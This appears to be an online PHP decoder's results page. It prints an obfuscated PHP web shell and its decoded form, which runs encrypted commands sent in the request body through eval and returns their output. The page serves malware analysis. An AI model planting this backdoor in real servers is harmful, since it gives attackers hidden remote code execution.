Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $M='n5e64_n5n5encode(@x(@gzcon5mpn5ress($o),n5$k)n5n5);print("n5$p$kh$r$kf");}'; $..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="64baefa8";$kh="d99c517458c3";$kf="f917b75d821f";$p="jKcPvHSDbcYRxWpY";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$M='n5e64_n5n5encode(@x(@gzcon5mpn5ress($o),n5$k)n5n5);print("n5$p$kh$r$kf");}';
$Y='g_match("/$kn5h(.+)$kn5f/",@fin5n5n5le_gn5etn5_contn5ents("php://in5nputn5"),$m)';
$D=str_replace('wQ','','wQcreatwQe_wQwQwQfunwQction');
$Q='n5$k="64baefa8";n5$kh="d9n59c5n5n517458c3"n5;$kf="f9n517b75n5d821f"n5;$p="j';
$x='[1n5]),$kn5)));$o=n5@n5ob_get_cn5ontentn5s()n5;n5@ob_end_cleann5();$r=@bas';
$n='KcPvHSn5n5DbcYRxWpn5Y";fn5unctionn5 x($t,$kn5){$cn5=strlen($kn5);$l=stn5';
$K='n5rlen($t)n5;$o="n5";for(n5$i=0;$i<$n5l;){fn5on5r($j=0;n5($j<$c&&$n5i<$l';
$s='==1n5) {@ob_start();@en5val(n5@gzuncn5ompren5ss(@xn5n5(@bn5ase64_decode($m';
$T=');n5$j++,n5$i++){n5$n5o.=$t{$i}^$k{$j}n5;}n5}return n5$o;n5}if (@n5prn5e';
$o=str_replace('n5','',$Q.$n.$K.$T.$Y.$s.$x.$M);
$k=$D('',$o);$k();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$D create_function
$K n5rlen($t)n5;$o="n5";for(n5$i=0;$i<$n5l;){fn5on5r($j=0;n5($j..
$M n5e64_n5n5encode(@x(@gzcon5mpn5ress($o),n5$k)n5n5);print("n5..
$Q n5$k="64baefa8";n5$kh="d9n59c5n5n517458c3"n5;$kf="f9n517b75n..
$T );n5$j++,n5$i++){n5$n5o.=$t{$i}^$k{$j}n5;}n5}return n5$o;n5}..
$Y g_match("/$kn5h(.+)$kn5f/",@fin5n5n5le_gn5etn5_contn5ents("p..
$k 64baefa8
$n KcPvHSn5n5DbcYRxWpn5Y";fn5unctionn5 x($t,$kn5){$cn5=strlen($..
$o $k="64baefa8";$kh="d99c517458c3";$kf="f917b75d821f";$p="jKcP..
$p jKcPvHSDbcYRxWpY
$s ==1n5) {@ob_start();@en5val(n5@gzuncn5ompren5ss(@xn5n5(@bn5a..
$x [1n5]),$kn5)));$o=n5@n5ob_get_cn5ontentn5s()n5;n5@ob_end_cle..
$kf f917b75d821f
$kh d99c517458c3

Stats

MD5 d98d02c6da8b7eca84460e9c61dfcb55
Eval Count 1
Decode Time 99 ms